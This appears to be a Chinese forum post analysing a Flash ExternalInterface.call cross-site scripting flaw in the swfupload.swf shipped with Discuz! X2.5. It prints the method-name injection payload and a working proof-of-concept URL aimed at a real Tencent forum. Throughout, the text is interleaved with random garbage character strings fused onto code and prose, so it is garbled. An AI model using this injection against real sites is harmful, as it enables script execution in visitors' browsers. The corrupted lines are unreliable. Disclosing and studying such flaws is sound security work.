上回我们说
( O0 L5 b9 K+ i u9 i- Z& K
# p$ @ N+ t) x" p) {% T5 ~' iflash.external.ExternalInterface.call($methodName, $parameter)& h$ C( m" r5 n& G( H$ @
在浏览器中执行的是1 z$ V* D, U' V, u
2 M: V9 _$ T$ B5 `; t2 @7 j
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}- M# a* Z6 b5 k; @1 E" S, y
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
9 z* H: N# b& k( P" _" Q
5 r' z( F B9 S6 P8 W5 hflash.external.ExternalInterface.call("object."+$methodName, $parameter)
* f7 M1 A1 d2 b6 s3 G z$methodName = a())}catch(e){alert(/xss/)}//! J+ p0 e& B* X
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。# p2 z% c& K, T2 ~7 l" m; M) Y
8 d0 w5 n. w4 k, |/ B& gtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; } K; t' U1 U, Y$ L; W9 E. \& C- B
4 L [2 y6 H* T9 A6 s+ z8 W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )" ]+ O' _7 j4 ~/ d
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
$ \6 Q8 D' l- M# o% h1 c$ `9 Z( _" C0 F: E& s4 `
, A' l, q7 O/ p8 N/ I
3 n N9 ~' w5 j. ^$ N漏洞文件:upload\static\image\common\swfupload.swf8 Q0 W- j! t0 d2 s. I7 N, Z7 n. [0 ]- \
Z, K4 h2 U8 ]+ ?% U0 _
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf1 n2 H( b& z% ^3 ~, h
: T0 {4 L1 J4 l8 M8 K
; f4 s1 `& N! u
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
) }& B8 V% L n7 @2 U6 p, ] r6 \1 o6 M+ @3 |
' w9 T6 g& E' t( \+ Q
|